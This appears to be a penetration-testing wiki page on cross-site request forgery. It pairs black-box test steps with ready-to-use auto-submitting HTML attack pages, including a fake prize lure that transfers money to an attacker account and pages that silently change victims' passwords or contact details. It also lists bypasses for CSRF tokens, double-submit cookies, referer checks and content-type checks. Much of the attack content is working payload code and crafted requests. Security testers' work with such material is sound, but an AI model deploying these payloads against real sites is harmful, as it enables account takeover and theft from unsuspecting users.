Cross Site Request Forgery

Check List

Methodology

Black Box

Session Riding

Look for any action that modifies data like Money transfersword

Perform the action normally while logged in

Intercept the POST/PUT request with Burp Suite

Check if a CSRF token is present in headers, body, or cookies

In Burp Repeater, send the captured request again (no changes)

If the action executes twice (two transfers, two email changes) → No CSRF protection

Craft Malicious HTML PoC

<html>
  <body>
    <h2>Congratulations! You won $1000!</h2>
    <form action="https://target.com/transfer" method="POST">
      <input type="hidden" name="amount" value="1000">
      <input type="hidden" name="to_account" value="ATTACKER123">
      <input type="submit" value="Claim Prize">
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

Host the HTML on your server (https://attacker.com/poc.html)

Visit your PoC page

If money is transferred → CSRF confirmed

Bypass CSRF Protection

If the endpoint uses CSRF tokens but the page itself is vulnerable to clickjacking, an attacker can exploit clickjacking to achieve the same results as a CSRF attack

Clickjacking attacks use an iframe to frame a page in a malicious site while having the state-changing request originate from the legitimate site

If the page where the vulnerable endpoint is located is susceptible to clickjacking, the attacker can achieve the same results as a CSRF attack with additional effort and CSS skills

To check for clickjacking, use an HTML page like the following

<html>
 <head>
  <title>Clickjack test page</title>
 </head>
 <body>
  <p>This page is vulnerable to clickjacking if the iframe is not blank!</p>
  <iframe src="PAGE_URL" width="500" height="500"></iframe>
 </body>
</html>

Change the Request Method

Some sites accept multiple request methods for the same endpoint but might not have protection in place for each method

hanging the request method may allow you to bypass CSRF protection

if a password-change endpoint is protected via CSRF tokens in a POST request

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123&csrf_token=871caef0757a4ac9691aceb9aad8b65b

If successful, the malicious HTML page could look like this

<html>
 <img src="https://email.example.com/password_change?new_password=abc123"/>
</html>

Bypass CSRF Tokens Stored on the Server

If clickjacking and request method manipulation don’t work, and the site implements CSRF tokens, try the following

Delete the token parameter or send a blank token parameter

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123

<html>
 <form method="POST" action="https://email.example.com/password_change" id="csrf-form">
  <input type="text" name="new_password" value="abc123">
  <input type='submit' value="Submit">
 </form>
 <script>document.getElementById("csrf-form").submit();</script>
</html>

Send a valid CSRF token from another session

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE
(POST request body)
new_password=abc123&csrf_token=YOUR_TOKEN

If the application logic does not validate whether the token belongs to the current user, this technique may work

Bypass Double-Submit CSRF Tokens

ome sites use a double-submit cookie mechanism where the CSRF token is sent both as a cookie and a request parameter, and the server verifies their match. If the server doesn’t store valid tokens, the following Attack can work

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE; csrf_token=not_a_real_token
(POST request body)
new_password=abc123&csrf_token=not_a_real_token

By making the victim’s browser store a forged CSRF token cookie via session fixation techniques, an attacker can execute the CSRF successfully

Bypass CSRF Referer Header Check

If a website verifies the referer header instead of using CSRF tokens, try these bypass techniques, Remove the Referer Header

<html>
 <meta name="referrer" content="no-referrer">
 <form method="POST" action="https://email.example.com/password_change" id="csrf-form">
  <input type="text" name="new_password" value="abc123">
  <input type='submit' value="Submit">
 </form>
 <script>document.getElementById("csrf-form").submit();</script>
</html>

Manipulate the referer check logic

Use a subdomain like example.com.attacker.com
Use a pathname like attacker.com/example.com

Cart Manipulation

Created Two accounts one is ATTACKER and Second one is VICTIM

Firefox (ATTACKER BROWSER) Chrome (VICTIM BROWSER)

From Attacker id add any “xyz” product in a cart

Increase the quantity From 1 to 2 and intercept that request in burp suite

Right click and click on Engagement tools (Generate a CSRF POC)

Copy That HTML Code and Paste into any Editor

Save that file with .html EXTENSION

Send that file to Victim Browser (chrome) already told you this in second step

When Victim will opens that file and Clicked on submit request that “xyz” product will automatically added to victim cart and automatically increased the quantity

OTP Bypass via CSRF on Edit Profile

Create a normal account

Navigate to Edit Profile or Settings

Enter a new email or phone → Click Save.

Intercept the POST request with Burp Suite → Send to Repeater

Check request body/headers for csrf_token, X-CSRF-Token, __RequestVerificationToke.

If none present → CSRF vulnerable

In Burp Repeater → Right-click request → Engagement tools → Generate CSRF PoC

Choose Auto-submit form (so no click needed)

Set victim’s email/phone in the form fields

Click Test in browser → Save as csrf-poc.html

Open your csrf-poc.html file (local or hosted)

If victim’s email/phone instantly changes → OTP bypass confirmed

CSRF via Content-Type + Method Downgrade Bypass

Intercept the POST request

POST /editUser/ChangePassword HTTP/1.1
Content-Type: application/json

{"Id": "1", "password": "newpass123"}

Downgrade Content-Type to Form-URLencoded And Change header

Content-Type: application/x-www-form-urlencoded

And Body

Id=1&password=newpass123

Send → If password changes → Content-Type bypass confirmed

Convert entire request to GET with parameters in URL

GET /editUser/ChangePassword?Id=1&password=newpass123 HTTP/1.1

Send → If password changes → Method downgrade bypass confirmed

Craft Final CSRF PoC (No Click Needed)

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://mycompany.target.com/editUser/ChangePassword" method="GET">
      <input type="hidden" name="Id" value="1">
      <input type="hidden" name="password" value="HackedByAttacker123">
    </form>
  </body>
</html>

Host the HTML file or send as attachment

Admin opens it while logged in → Password of user ID 1 instantly changed

White Box

Cheat Sheet

PreviousExposed Session Variables NextLogout Functionality

Last updated 28 days ago

hashtagCheck List

hashtagMethodology

hashtagBlack Box

hashtagSession Riding

hashtagBypass CSRF Protectionarrow-up-right

hashtagChange the Request Method

hashtagBypass CSRF Tokens Stored on the Server

hashtagBypass Double-Submit CSRF Tokens

hashtagBypass CSRF Referer Header Check

hashtagCart Manipulation

hashtagOTP Bypass via CSRF on Edit Profile

hashtagCSRF via Content-Type + Method Downgrade Bypassarrow-up-right

hashtagWhite Box

hashtagCheat Sheet